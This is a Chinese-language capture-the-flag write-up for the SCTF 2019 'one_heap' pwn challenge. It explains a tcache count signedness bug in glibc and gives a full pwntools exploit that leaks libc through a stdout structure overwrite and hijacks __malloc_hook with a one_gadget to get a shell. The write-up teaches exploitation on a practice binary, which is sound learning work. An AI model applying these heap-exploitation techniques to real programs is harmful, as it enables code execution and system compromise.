【WriteUp】SCTF 2019--Pwn题解

XMAN 虐我

one_heap

Description:

Ubuntu 18


Solution:

学了一堆,先看保护:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int i; // eax

sub_AF0(a1, a2, a3);
while ( 1 )
{
for ( i = sub_C70(); i != 1; i = sub_C70() )
{
if ( i != 2 )
exit(0);
sub_D90();
}
sub_CD0();
}
}

sub_AF0 函数(初始化用):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_AF0()
{
unsigned __int64 v0; // ST08_8
unsigned int result; // eax
unsigned __int64 v2; // rt1

v0 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v2 = __readfsqword(0x28u);
result = v2 ^ v0;
if ( v2 == v0 )
result = alarm(0x20u);
return result;
}

这里可以 patch 程序为 alarm(0); 方便调试

sub_CD0 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_CD0()
{
unsigned int v0; // eax
size_t v1; // rbx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !dword_202010 )
LABEL_5:
exit(0);
_printf_chk(1LL, "Input the size:");
v0 = sub_C10();
v1 = (signed int)v0;
if ( v0 > 0x7F )
{
puts("Invalid size!");
goto LABEL_5;
}
_printf_chk(1LL, "Input the content:");
ptr = malloc(v1);
sub_B70(ptr, v1);
puts("Done!");
--dword_202010;
return __readfsqword(0x28u) ^ v3;
}

用于创建堆块,大小不能超过 0x7f,可以构造 unsorted bin

sub_D90 函数

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_D90()
{
unsigned __int64 v1; // [rsp+8h] [rbp-10h]

v1 = __readfsqword(0x28u);
if ( !dword_202014 )
exit(0);
free(ptr);
puts("Done!");
--dword_202014;
return __readfsqword(0x28u) ^ v1;
}

题目没有打印地址的函数,所以这题要靠 _IO_2_1_stdout_ 来泄露 libc 地址

题目漏洞为 tcache 的 counts 中存在的数据类型判断漏洞

在tcache涉及的数据结构中

1
2
3
4
5
typedef struct 
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

counts 定义为一个字符数组,记录每个 tcache 链中 tcache 的数量,在 C 语言中并没有 char 类型的常量(但是在 C++ 中却有,字符常量都是 char 类型)

其实是用 int 表示 char,所以这个 counts 是一个有符号整型变量(-128~127)

在 int_free 函数中,把 chunk 放入 tcache 时,会判断待放入的 tcache 链是否小于 mp_.tcache_count,一般为 7

1
2
3
4
5
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}

查看源码,tcache_count 是一个 size_t 类型的变量,也就是无符号长整型

那么上述的判断就变为 int 型的 counts 是否小于 unsigned long int 型的 tcache_count ,就会把 counts 变量转为无符号的长整型进行比较

如果此时的 counts 大小为 -1(0xff),被转成无符号的长整型后就变成 255(0xff),那么就会使上述判断失效

在 tcache 的 counts 变成 -1 后,就会将之后 free 的 chunk,放入 unsorted bin 中

题目里的利用方法

double free 一个堆块,使 tcache bin 符合 unsorted bin 大小的链表变成一个环

然后三次申请符合这个性质且同一大小的堆块,就可以使该大小的堆块所对应的链表上面的 counts 数变成 -1

之后就可以获得 unsorted bin,拿到 libc 有关信息

再利用 tcache bin 对应地址和 unsorted bin 所对应地址重叠的情况,构造空闲堆块,进行二次利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
try:
if debug == 1:
p = process('./one_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 26786)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./one_heap', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]


def new(new_size, new_content):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('Input the size:', str(new_size))
p.sendafter('Input the content:', new_content)


def free():
p.sendlineafter('Your choice:', '2')


new(0x7f, '\n')
free()
free()
pd = 'a' * 0x20
pd += p64(0x90) + p64(0x30)
new(0x50, pd + '\n')
free()
new(0x7f, '\n')
new(0x7f, '\n')
new(0x7f, '\n')
free()
new(0x40, p16(0x1750) + '\n')
pd = 'a' * 0x40
pd += p64(0) + p64(0x91)
new(0x7f, pd + '\n')
pd = p64(0) * 2
pd += p64(0xfbad1887)
pd += p64(0) * 3
pd += '\x00'
new(0x7f, pd + '\n')
p.recv(0x88)

addr__IO_2_1_stdout_ = u64(p.recv(6).ljust(8, '\x00')) - 131
libcbase = addr__IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[0]

if addr__IO_2_1_stdout_ & 0xff != 96:
p.close()
continue
else:
pause()

pd = '\x00' * 0x30
pd += p64(0x40) + p64(0x60)
pd += p64(addr___malloc_hook - 8)
new(0x7f, pd + '\n')
new(0x50, '\n')
new(0x50, p64(addr_one_gadget) + p64(addr___libc_realloc + 2) + '\n')
p.sendlineafter('Your choice:', '1')
p.sendlineafter('Input the size:', str(0x30))
p.recvuntil('Input the content:', timeout=1)

success('addr__IO_2_1_stdout_ = ' + hex(addr__IO_2_1_stdout_))
success('addr_one_gadget = ' + hex(addr_one_gadget))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
# gdb.attach(p, "b *$rebase(0xD2B)\nc")
except:
p.close()
continue
else:
p.interactive()
p.close()
break

Flag:

1
动态靶机
文章目录
  1. 1. one_heap
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
|